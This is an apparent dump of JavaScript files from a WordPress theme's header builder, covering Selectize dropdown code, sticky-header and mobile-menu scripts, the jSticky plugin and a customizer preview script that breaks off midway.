0,C=document.createElement("div"),C.appendChild(O.cloneNode(!0)),C.innerHTML),dom:f})))):g.appendChild(a[c]);if(S.html(g),$.settings.highlight&&x.query.length&&x.tokens.length)for(i=0,r=x.tokens.length;i<r;i++)s(S,x.tokens[i].regex);if(!$.settings.hideSelected)for(i=0,r=$.items.length;i<r;i++)$.getOption($.items[i]).addClass("selected");(v=$.canCreate(b))&&(S.prepend($.render("option_create",{input:b})),w=t(S[0].childNodes[0])),$.hasOptions=x.items.length>0||v,$.hasOptions?(x.items.length>0?((y=I&&$.getOption(I))&&y.length?m=y:"single"===$.settings.mode&&$.items.length&&(m=$.getOption($.items[0])),m&&m.length||(m=w&&!$.settings.addPrecedence?$.getAdjacentOption(w,1):S.find("[data-selectable]:first"))):m=w,$.setActiveOption(m),e&&!$.isOpen&&$.open()):($.setActiveOption(null),e&&$.isOpen&&$.close())},addOption:function(e){var i,s,n;if(t.isArray(e))for(i=0,s=e.length;i<s;i++)this.addOption(e[i]);else(n=this.registerOption(e))&&(this.userOptions[n]=!0,this.lastQuery=null,this.trigger("option_add",n,e))},registerOption:function(t){var e=p(t[this.settings.valueField]);return null!=e&&!this.options.hasOwnProperty(e)&&(t.$order=t.$order||++this.order,this.options[e]=t,e)},registerOptionGroup:function(t){var e=p(t[this.settings.optgroupValueField]);return!!e&&(t.$order=t.$order||++this.order,this.optgroups[e]=t,e)},addOptionGroup:function(t,e){e[this.settings.optgroupValueField]=t,(t=this.registerOptionGroup(e))&&this.trigger("optgroup_add",t,e)},removeOptionGroup:function(t){this.optgroups.hasOwnProperty(t)&&(delete this.optgroups[t],this.renderCache={},this.trigger("optgroup_remove",t))},clearOptionGroups:function(){this.optgroups={},this.renderCache={},this.trigger("optgroup_clear")},updateOption:function(e,i){var s,n,o,r,a,l,h;if(e=p(e),o=p(i[this.settings.valueField]),null!==e&&this.options.hasOwnProperty(e)){if("string"!=typeof o)throw new Error("Value must be set in option data");h=this.options[e].$order,o!==e&&(delete this.options[e],-1!==(r=this.items.indexOf(e))&&this.items.splice(r,1,o)),i.$order=i.$order||h,this.options[o]=i,a=this.renderCache.item,l=this.renderCache.option,a&&(delete a[e],delete a[o]),l&&(delete l[e],delete l[o]),-1!==this.items.indexOf(o)&&(s=this.getItem(e),n=t(this.render("item",i)),s.hasClass("active")&&n.addClass("active"),s.replaceWith(n)),this.lastQuery=null,this.isOpen&&this.refreshOptions(!1)}},removeOption:function(t,e){t=p(t);var i=this.renderCache.item,s=this.renderCache.option;i&&delete i[t],s&&delete s[t],delete this.userOptions[t],delete this.options[t],this.lastQuery=null,this.trigger("option_remove",t),this.removeItem(t,e)},clearOptions:function(){this.loadedSearches={},this.userOptions={},this.renderCache={},this.options=this.sifter.items={},this.lastQuery=null,this.trigger("option_clear"),this.clear()},getOption:function(t){return this.getElementWithValue(t,this.$dropdown_content.find("[data-selectable]"))},getAdjacentOption:function(e,i){var s=this.$dropdown.find("[data-selectable]"),n=s.index(e)+i;return n>=0&&n<s.length?s.eq(n):t()},getElementWithValue:function(e,i){if(null!=(e=p(e)))for(var s=0,n=i.length;s<n;s++)if(i[s].getAttribute("data-value")===e)return t(i[s]);return t()},getItem:function(t){return this.getElementWithValue(t,this.$control.children())},addItems:function(e,i){for(var s=t.isArray(e)?e:[e],n=0,o=s.length;n<o;n++)this.isPending=n<o-1,this.addItem(s[n],i)},addItem:function(e,i){g(this,i?[]:["change"],(function(){var s,n,o,r,a,l=this.settings.mode;e=p(e),-1===this.items.indexOf(e)?this.options.hasOwnProperty(e)&&("single"===l&&this.clear(i),"multi"===l&&this.isFull()||(s=t(this.render("item",this.options[e])),a=this.isFull(),this.items.splice(this.caretPos,0,e),this.insertAtCaret(s),(!this.isPending||!a&&this.isFull())&&this.refreshState(),this.isSetup&&(o=this.$dropdown_content.find("[data-selectable]"),this.isPending||(n=this.getOption(e),r=this.getAdjacentOption(n,1).attr("data-value"),this.refreshOptions(this.isFocused&&"single"!==l),r&&this.setActiveOption(this.getOption(r))),!o.length||this.isFull()?this.close():this.positionDropdown(),this.updatePlaceholder(),this.trigger("item_add",e,s),this.updateOriginalInput({silent:i})))):"single"===l&&this.close()}))},removeItem:function(e,i){var s,n,o;s=e instanceof t?e:this.getItem(e),e=p(s.attr("data-value")),-1!==(n=this.items.indexOf(e))&&(s.remove(),s.hasClass("active")&&(o=this.$activeItems.indexOf(s[0]),this.$activeItems.splice(o,1)),this.items.splice(n,1),this.lastQuery=null,!this.settings.persist&&this.userOptions.hasOwnProperty(e)&&this.removeOption(e,i),n<this.caretPos&&this.setCaret(this.caretPos-1),this.refreshState(),this.updatePlaceholder(),this.updateOriginalInput({silent:i}),this.positionDropdown(),this.trigger("item_remove",e,s))},createItem:function(e,i){var s=this,n=s.caretPos;e=e||t.trim(s.$control_input.val()||"");var o=arguments[arguments.length-1];if("function"!=typeof o&&(o=function(){}),"boolean"!=typeof i&&(i=!0),!s.canCreate(e))return o(),!1;s.lock();var r="function"==typeof s.settings.create?this.settings.create:function(t){var e={};return e[s.settings.labelField]=t,e[s.settings.valueField]=t,e},a=d((function(t){if(s.unlock(),!t||"object"!=typeof t)return o();var e=p(t[s.settings.valueField]);if("string"!=typeof e)return o();s.setTextboxValue(""),s.addOption(t),s.setCaret(n),s.addItem(e),s.refreshOptions(i&&"single"!==s.settings.mode),o(t)})),l=r.apply(this,[e,a]);return void 0!==l&&a(l),!0},refreshItems:function(){this.lastQuery=null,this.isSetup&&this.addItem(this.items),this.refreshState(),this.updateOriginalInput()},refreshState:function(){this.isRequired&&(this.items.length&&(this.isInvalid=!1),this.$control_input.prop("required",void 0)),this.refreshClasses()},refreshClasses:function(){var e=this.isFull(),i=this.isLocked;this.$wrapper.toggleClass("rtl",this.rtl),this.$control.toggleClass("focus",this.isFocused).toggleClass("disabled",this.isDisabled).toggleClass("required",this.isRequired).toggleClass("invalid",this.isInvalid).toggleClass("locked",i).toggleClass("full",e).toggleClass("not-full",!e).toggleClass("input-active",this.isFocused&&!this.isInputHidden).toggleClass("dropdown-active",this.isOpen).toggleClass("has-options",!t.isEmptyObject(this.options)).toggleClass("has-items",this.items.length>0),this.$control_input.data("grow",!e&&!i)},isFull:function(){return null!==this.settings.maxItems&&this.items.length>=this.settings.maxItems},updateOriginalInput:function(t){var e,i,s,n;if(t=t||{},1===this.tagType){for(s=[],e=0,i=this.items.length;e<i;e++)n=this.options[this.items[e]][this.settings.labelField]||"",s.push('<option value="'+u(this.items[e])+'" selected="selected">'+u(n)+"</option>");s.length||this.$input.attr("multiple")||s.push('<option value="" selected="selected"></option>'),this.$input.html(s.join(""))}else this.$input.val(this.getValue()),this.$input.attr("value",this.$input.val());this.isSetup&&(t.silent||this.trigger("change",this.$input.val()))},updatePlaceholder:function(){if(this.settings.placeholder){var t=this.$control_input;this.items.length?t.removeAttr("placeholder"):t.attr("placeholder",this.settings.placeholder),t.triggerHandler("update",{force:!0})}},open:function(){this.isLocked||this.isOpen||"multi"===this.settings.mode&&this.isFull()||(this.focus(),this.isOpen=!0,this.refreshState(),this.$dropdown.css({visibility:"hidden",display:"block"}),this.positionDropdown(),this.$dropdown.css({visibility:"visible"}),this.trigger("dropdown_open",this.$dropdown))},close:function(){var t=this.isOpen;"single"===this.settings.mode&&this.items.length&&this.hideInput(),this.isOpen=!1,this.$dropdown.hide(),this.setActiveOption(null),this.refreshState(),t&&this.trigger("dropdown_close",this.$dropdown)},positionDropdown:function(){var t=this.$control,e="body"===this.settings.dropdownParent?t.offset():t.position();e.top+=t.outerHeight(!0),this.$dropdown.css({width:t.outerWidth(),top:e.top,left:e.left})},clear:function(t){this.items.length&&(this.$control.children(":not(input)").remove(),this.items=[],this.lastQuery=null,this.setCaret(0),this.setActiveItem(null),this.updatePlaceholder(),this.updateOriginalInput({silent:t}),this.refreshState(),this.showInput(),this.trigger("clear"))},insertAtCaret:function(e){var i=Math.min(this.caretPos,this.items.length);0===i?this.$control.prepend(e):t(this.$control[0].childNodes[i]).before(e),this.setCaret(i+1)},deleteSelection:function(e){var i,s,n,o,r,a,l,h,p;if(n=e&&8===e.keyCode?-1:1,o=f(this.$control_input[0]),this.$activeOption&&!this.settings.hideSelected&&(l=this.getAdjacentOption(this.$activeOption,-1).attr("data-value")),r=[],this.$activeItems.length){for(p=this.$control.children(".active:"+(n>0?"last":"first")),a=this.$control.children(":not(input)").index(p),n>0&&a++,i=0,s=this.$activeItems.length;i<s;i++)r.push(t(this.$activeItems[i]).attr("data-value"));e&&(e.preventDefault(),e.stopPropagation())}else(this.isFocused||"single"===this.settings.mode)&&this.items.length&&(n<0&&0===o.start&&0===o.length?r.push(this.items[this.caretPos-1]):n>0&&o.start===this.$control_input.val().length&&r.push(this.items[this.caretPos]));if(!r.length||"function"==typeof this.settings.onDelete&&!1===this.settings.onDelete.apply(this,[r]))return!1;for(void 0!==a&&this.setCaret(a);r.length;)this.removeItem(r.pop());return this.showInput(),this.positionDropdown(),this.refreshOptions(!0),l&&(h=this.getOption(l)).length&&this.setActiveOption(h),!0},advanceSelection:function(t,e){var i,s,n,o,r;0!==t&&(this.rtl&&(t*=-1),i=t>0?"last":"first",s=f(this.$control_input[0]),this.isFocused&&!this.isInputHidden?(o=this.$control_input.val().length,(t<0?0===s.start&&0===s.length:s.start===o)&&!o&&this.advanceCaret(t,e)):(r=this.$control.children(".active:"+i)).length&&(n=this.$control.children(":not(input)").index(r),this.setActiveItem(null),this.setCaret(t>0?n+1:n)))},advanceCaret:function(t,e){var i,s;0!==t&&(i=t>0?"next":"prev",this.isShiftDown?(s=this.$control_input[i]()).length&&(this.hideInput(),this.setActiveItem(s),e&&e.preventDefault()):this.setCaret(this.caretPos+t))},setCaret:function(e){var i,s,n,o;if(e="single"===this.settings.mode?this.items.length:Math.max(0,Math.min(this.items.length,e)),!this.isPending)for(i=0,s=(n=this.$control.children(":not(input)")).length;i<s;i++)o=t(n[i]).detach(),i<e?this.$control_input.before(o):this.$control.append(o);this.caretPos=e},lock:function(){this.close(),this.isLocked=!0,this.refreshState()},unlock:function(){this.isLocked=!1,this.refreshState()},disable:function(){this.$input.prop("disabled",!0),this.$control_input.prop("disabled",!0).prop("tabindex",-1),this.isDisabled=!0,this.lock()},enable:function(){this.$input.prop("disabled",!1),this.$control_input.prop("disabled",!1).prop("tabindex",this.tabIndex),this.isDisabled=!1,this.unlock()},destroy:function(){var e=this.eventNS,i=this.revertSettings;this.trigger("destroy"),this.off(),this.$wrapper.remove(),this.$dropdown.remove(),this.$input.html("").append(i.$children).removeAttr("tabindex").removeClass("selectized").attr({tabindex:i.tabindex}).show(),this.$control_input.removeData("grow"),this.$input.removeData("selectize"),t(window).off(e),t(document).off(e),t(document.body).off(e),delete this.$input[0].selectize},render:function(e,i){var s,n,o="",r=!1;return"option"!==e&&"item"!==e||(r=!!(s=p(i[this.settings.valueField]))),r&&(h(this.renderCache[e])||(this.renderCache[e]={}),this.renderCache[e].hasOwnProperty(s))?this.renderCache[e][s]:(o=t(this.settings.render[e].apply(this,[i,u])),"option"===e||"option_create"===e?o.attr("data-selectable",""):"optgroup"===e&&(n=i[this.settings.optgroupValueField]||"",o.attr("data-group",n)),"option"!==e&&"item"!==e||o.attr("data-value",s||""),r&&(this.renderCache[e][s]=o[0]),o[0])},clearCache:function(t){void 0===t?this.renderCache={}:delete this.renderCache[t]},canCreate:function(t){if(!this.settings.create)return!1;var e=this.settings.createFilter;return t.length&&("function"!=typeof e||e.apply(this,[t]))&&("string"!=typeof e||new RegExp(e).test(t))&&(!(e instanceof RegExp)||e.test(t))}}),m.count=0,m.defaults={options:[],optgroups:[],plugins:[],delimiter:",",splitOn:null,persist:!0,diacritics:!0,create:!1,createOnBlur:!1,createFilter:null,highlight:!0,openOnFocus:!0,maxOptions:1e3,maxItems:null,hideSelected:null,addPrecedence:!1,selectOnTab:!1,preload:!1,allowEmptyOption:!1,closeAfterSelect:!1,scrollDuration:60,loadThrottle:300,loadingClass:"loading",dataAttr:"data-data",optgroupField:"optgroup",valueField:"value",labelField:"text",optgroupLabelField:"label",optgroupValueField:"value",lockOptgroupOrder:!1,sortField:"$order",searchField:["text"],searchConjunction:"and",mode:null,wrapperClass:"selectize-control",inputClass:"selectize-input",dropdownClass:"selectize-dropdown",dropdownContentClass:"selectize-dropdown-content",dropdownParent:null,copyClassesToDropdown:!0,render:{}},t.fn.selectize=function(e){var i=t.fn.selectize.defaults,s=t.extend({},i,e),n=s.dataAttr,o=s.labelField,r=s.valueField,a=s.optgroupField,l=s.optgroupLabelField,h=s.optgroupValueField;return this.each((function(){if(!this.selectize){var u=t(this),c=this.tagName.toLowerCase(),d=u.attr("placeholder")||u.attr("data-placeholder");d||s.allowEmptyOption||(d=u.children('option[value=""]').text());var g={placeholder:d,options:[],optgroups:[],items:[]};"select"===c?function(e,i){var u,c,d,g,f=i.options,v={},m=function(t){var e=n&&t.attr(n);return"string"==typeof e&&e.length?JSON.parse(e):null},y=function(e,n){e=t(e);var l=p(e.val());if(l||s.allowEmptyOption)if(v.hasOwnProperty(l)){if(n){var h=v[l][a];h?t.isArray(h)?h.push(n):v[l][a]=[h,n]:v[l][a]=n}}else{var u=m(e)||{};u[o]=u[o]||e.text(),u[r]=u[r]||l,u[a]=u[a]||n,v[l]=u,f.push(u),e.is(":selected")&&i.items.push(l)}},w=function(e){var s,n,o,r,a;for((o=(e=t(e)).attr("label"))&&((r=m(e)||{})[l]=o,r[h]=o,i.optgroups.push(r)),s=0,n=(a=t("option",e)).length;s<n;s++)y(a[s],o)};for(i.maxItems=e.attr("multiple")?null:1,u=0,c=(g=e.children()).length;u<c;u++)"optgroup"===(d=g[u].tagName.toLowerCase())?w(g[u]):"option"===d&&y(g[u])}(u,g):function(e,i){var a,l,h,p,u=e.attr(n);if(u)for(i.options=JSON.parse(u),a=0,l=i.options.length;a<l;a++)i.items.push(i.options[a][r]);else{var c=t.trim(e.val()||"");if(!s.allowEmptyOption&&!c.length)return;for(a=0,l=(h=c.split(s.delimiter)).length;a<l;a++)(p={})[o]=h[a],p[r]=h[a],i.options.push(p);i.items=h}}(u,g),new m(u,t.extend(!0,{},i,g,e))}}))},t.fn.selectize.defaults=m.defaults,t.fn.selectize.support={validity:l},m.define("drag_drop",(function(e){if(!t.fn.sortable)throw new Error('The "drag_drop" plugin requires jQuery UI "sortable".');if("multi"===this.settings.mode){var i,s=this;s.lock=(i=s.lock,function(){var t=s.$control.data("sortable");return t&&t.disable(),i.apply(s,arguments)}),s.unlock=function(){var t=s.unlock;return function(){var e=s.$control.data("sortable");return e&&e.enable(),t.apply(s,arguments)}}(),s.setup=function(){var e=s.setup;return function(){e.apply(this,arguments);var i=s.$control.sortable({items:"[data-value]",forcePlaceholderSize:!0,disabled:s.isLocked,start:function(t,e){e.placeholder.css("width",e.helper.css("width")),i.css({overflow:"visible"})},stop:function(){i.css({overflow:"hidden"});var e=s.$activeItems?s.$activeItems.slice():null,n=[];i.children("[data-value]").each((function(){n.push(t(this).attr("data-value"))})),s.setValue(n),s.setActiveItem(e)}})}}()}})),m.define("dropdown_header",(function(e){var i,s=this;e=t.extend({title:"Untitled",headerClass:"selectize-dropdown-header",titleRowClass:"selectize-dropdown-header-title",labelClass:"selectize-dropdown-header-label",closeClass:"selectize-dropdown-header-close",html:function(t){return'<div class="'+t.headerClass+'"><div class="'+t.titleRowClass+'"><span class="'+t.labelClass+'">'+t.title+'</span><a href="javascript:void(0)" class="'+t.closeClass+'">&times;</a></div></div>'}},e),s.setup=(i=s.setup,function(){i.apply(s,arguments),s.$dropdown_header=t(e.html(e)),s.$dropdown.prepend(s.$dropdown_header)})})),m.define("optgroup_columns",(function(e){var i,s=this;e=t.extend({equalizeWidth:!0,equalizeHeight:!0},e),this.getAdjacentOption=function(e,i){var s=e.closest("[data-group]").find("[data-selectable]"),n=s.index(e)+i;return n>=0&&n<s.length?s.eq(n):t()},this.onKeyDown=(i=s.onKeyDown,function(t){var e,n,o,r;return!this.isOpen||37!==t.keyCode&&39!==t.keyCode?i.apply(this,arguments):(s.ignoreHover=!0,e=(r=this.$activeOption.closest("[data-group]")).find("[data-selectable]").index(this.$activeOption),void((n=(o=(r=37===t.keyCode?r.prev("[data-group]"):r.next("[data-group]")).find("[data-selectable]")).eq(Math.min(o.length-1,e))).length&&this.setActiveOption(n)))});var n=function(){var t,e=n.width,i=document;return void 0===e&&((t=i.createElement("div")).innerHTML='<div style="width:50px;height:50px;position:absolute;left:-50px;top:-50px;overflow:auto;"><div style="width:1px;height:100px;"></div></div>',t=t.firstChild,i.body.appendChild(t),e=n.width=t.offsetWidth-t.clientWidth,i.body.removeChild(t)),e},o=function(){var i,o,r,a,l,h,p;if((o=(p=t("[data-group]",s.$dropdown_content)).length)&&s.$dropdown_content.width()){if(e.equalizeHeight){for(r=0,i=0;i<o;i++)r=Math.max(r,p.eq(i).height());p.css({height:r})}e.equalizeWidth&&(h=s.$dropdown_content.innerWidth()-n(),a=Math.round(h/o),p.css({width:a}),o>1&&(l=h-a*(o-1),p.eq(o-1).css({width:l})))}};(e.equalizeHeight||e.equalizeWidth)&&(c.after(this,"positionDropdown",o),c.after(this,"refreshOptions",o))})),m.define("remove_button",(function(e){e=t.extend({label:"&times;",title:"Remove",className:"remove",append:!0},e);"single"!==this.settings.mode?function(e,i){var s,n=e,o='<a href="javascript:void(0)" class="'+i.className+'" tabindex="-1" title="'+u(i.title)+'">'+i.label+"</a>",r=function(t,e){var i=t.search(/(<\/[^>]+>\s*)$/);return t.substring(0,i)+e+t.substring(i)};e.setup=(s=n.setup,function(){if(i.append){var a=n.settings.render.item;n.settings.render.item=function(t){return r(a.apply(e,arguments),o)}}s.apply(e,arguments),e.$control.on("click","."+i.className,(function(e){if(e.preventDefault(),!n.isLocked){var i=t(e.currentTarget).parent();n.setActiveItem(i),n.deleteSelection()&&n.setCaret(n.items.length)}}))})}(this,e):function(e,i){i.className="remove-single";var s,n=e,o='<a href="javascript:void(0)" class="'+i.className+'" tabindex="-1" title="'+u(i.title)+'">'+i.label+"</a>",r=function(t,e){return t+e};e.setup=(s=n.setup,function(){if(i.append){var a=t(n.$input.context).attr("id"),l=(t("#"+a),n.settings.render.item);n.settings.render.item=function(t){return r(l.apply(e,arguments),o)}}s.apply(e,arguments),e.$control.on("click","."+i.className,(function(t){t.preventDefault(),n.isLocked||n.clear()}))})}(this,e)})),m.define("restore_on_backspace",(function(t){var e,i=this;t.text=t.text||function(t){return t[this.settings.labelField]},this.onKeyDown=(e=i.onKeyDown,function(i){var s,n;return 8===i.keyCode&&""===this.$control_input.val()&&!this.$activeItems.length&&(s=this.caretPos-1)>=0&&s<this.items.length?(n=this.options[this.items[s]],this.deleteSelection(i)&&(this.setTextboxValue(t.text.apply(this,[n])),this.refreshOptions(!0)),void i.preventDefault()):e.apply(this,arguments)})})),m}));
PK     /w\|T5      builder/assets/js/admin.jsnu [        !function (e, $) {
    $(document).on('click', '.penci-builder-button.customize .button', function (e) {
        var href = $(this).data('href');
        e.preventDefault();
        $(window).off('beforeunload');
        window.location.href = href;
    });
}(wp, jQuery);
PK     /w\;|    )  builder/assets/js/penci-header-builder.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.sticky_header = function () {
        var headersticky = $(".penci_header.penci_builder_sticky_header_desktop"),
            headertop = $(".penci_header.penci-header-builder.main-builder-header"),
            headernormal = headertop.outerHeight() + 20,
            headermobile = $(".penci_navbar_mobile"),
            lastScrollTop = 0;

        $(window).on("scroll", function () {
            var st = $(this).scrollTop();

            if (st > headernormal) {
                if (headersticky.length) {
                    headersticky.addClass("sticky-apply");
                    headertop.addClass("ns-apply");
                }
            } else {
                if (headersticky.length) {
                    headersticky.removeClass("sticky-apply");
                    headertop.removeClass("ns-apply");
                }
            }

            if (st > headermobile.outerHeight()) {
                headermobile.addClass("mobile-sticky");
            } else {
                headermobile.removeClass("mobile-sticky");
            }

            if (st > lastScrollTop) {
                headersticky.addClass("scrolldown").removeClass("scrollup");
                headermobile.addClass("scrolldown").removeClass("scrollup");
            } else {
                headersticky.addClass("scrollup").removeClass("scrolldown");
                headermobile.addClass("scrollup").removeClass("scrolldown");
            }
            lastScrollTop = st;
        });
    };

    PENCI.main_menu = function () {
        $(".navigation ul.menu > li.penci-mega-menu").on("mouseenter", function () {
            var $this = $(this),
                $row_active = $this.find(".row-active"),
                $rowsLazy = $row_active.find(".penci-lazy");
            $row_active.fadeIn("200").css("display", "inline-block");
        });

        $(".navigation .penci-mega-child-categories a").on(
            "mouseenter",
            function () {
                if ($(this).hasClass("mega-normal-child")) {
                    return;
                }
                if (!$(this).hasClass("cat-active")) {
                    var $this = $(this),
                        $row_active = $this.data("id"),
                        $parentA = $this.parent().children("a"),
                        $parent = $this.closest(".penci-megamenu"),
                        $rows = $this
                            .closest(".penci-megamenu")
                            .find(".penci-mega-latest-posts")
                            .children(".penci-mega-row");
                    $parentA.removeClass("cat-active");
                    $this.addClass("cat-active");
                    $rows.hide();
                    $rows.removeClass("row-active");
                    $parent
                        .find("." + $row_active)
                        .fadeIn("300")
                        .css("display", "inline-block")
                        .addClass("row-active");
                }
            }
        );
    };

    PENCI.mobile_menu = function () {
        // Add indicator

        // Toggle menu when click show/hide menu
        $(".navigation .button-menu-mobile").on("click", function () {
            $("body").addClass("open-mobile-builder-sidebar-nav");
        });

        $(
            ".pc-builder-element nav.penci-vernav-cparent li.menu-item-has-children > a"
        ).on("click", function (e) {
            var $this = $(this);
            e.preventDefault();
            $this.children().children().toggleClass("fa-angle-up");
            $this.next().slideToggle("fast");
        });

        // Close sidebar nav
        $("#close-sidebar-nav").on("click", function () {
            $("body").removeClass("open-sidebar-nav");
        });

        $(".close-mobile-menu-builder").on("click", function (e) {
            e.preventDefault();
            $("body").removeClass("open-mobile-builder-sidebar-nav");
        });
    };
    /* Init functions
       ---------------------------------------------------------------*/
    $(document).ready(function () {
        PENCI.sticky_header();
        PENCI.mobile_menu();
        PENCI.main_menu();
        $("body").on("penci-ajax-menu-loaded", function () {
            PENCI.main_menu();
        });
    });
})(jQuery); // EOF
PK     /w\#    '  builder/assets/js/jquery.jsticky.min.jsnu [        /* jSticky Plugin
 * =============
 * Author: Andrew Henderson (@AndrewHenderson)
 * Contributor: Mike Street (@mikestreety)
 * Date: 9/7/2012
 * Update: 09/20/2016
 * Website: http://github.com/andrewhenderson/jsticky/
 * Description: A jQuery plugin that keeps select DOM element(s)
 * in view while scrolling the page.
 */
!function(t){t.fn.sticky=function(s){function i(){return"number"==typeof o.zIndex?!0:!1}function e(){return 0<t(o.stopper).length||"number"==typeof o.stopper?!0:!1}var n={topSpacing:0,zIndex:"",stopper:".sticky-stopper",stickyClass:!1},o=t.extend({},n,s),r=i(),p=e();return this.each(function(){function s(){var s=u.scrollTop(),n=f,h=i.parent().width();if(l.width(h),p&&"string"==typeof f){var y=t(f).offset().top;n=y-e-c}if(s>d){if(o.stickyClass&&i.addClass(o.stickyClass),i.after(l).css({position:"fixed",top:c,width:h}),r&&i.css({zIndex:a}),p&&s>n){var v=n-s+c;i.css({top:v})}}else o.stickyClass&&i.removeClass(o.stickyClass),i.css({position:"static",top:null,left:null,width:"auto"}),l.remove()}var i=t(this),e=i.outerHeight(),n=i.outerWidth(),c=o.topSpacing,a=o.zIndex,d=i.offset().top-c,l=t("<div></div>").width(n).height(e).addClass("sticky-placeholder"),f=o.stopper,u=t(window);u.innerHeight()>e&&(u.bind("scroll",s),u.bind("load",s),u.bind("resize",s))})}}(jQuery);
PK     /w\FIa a '  builder/assets/js/customizer-preview.jsnu [        (function ($, api) {

    "use strict";

    // button 1
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').html(newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').attr('href', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    // button 2
    var button_2_border,
        button_2_bg,
        button_2_txt,
        button_2_border_hv,
        button_2_bg_hv,
        button_2_txt_hv;
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').html(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-2');
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_color)', function (value) {
        button_2_border = wp.customize.settings.values.penci_header_pb_button_2_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('border-color', newval);
            button_2_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_color)', function (value) {
        button_2_bg = wp.customize.settings.values.penci_header_pb_button_2_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('background-color', newval);
            button_2_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_color)', function (value) {
        button_2_txt = wp.customize.settings.values.penci_header_pb_button_2_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('color', newval);
            button_2_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-2', function () {
        if (button_2_border_hv) {
            $(this).css('border-color', button_2_border_hv);
        }
        if (button_2_bg_hv) {
            $(this).css('background-color', button_2_bg_hv);
        }
        if (button_2_txt_hv) {
            $(this).css('color', button_2_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-2', function () {
        $(this).css('background-color', button_2_bg);
        $(this).css('color', button_2_txt);
        $(this).css('border-color', button_2_border);
    });

    // button 3
    var button_3_border,
        button_3_bg,
        button_3_txt,
        button_3_border_hv,
        button_3_bg_hv,
        button_3_txt_hv;
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-3');
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_color)', function (value) {
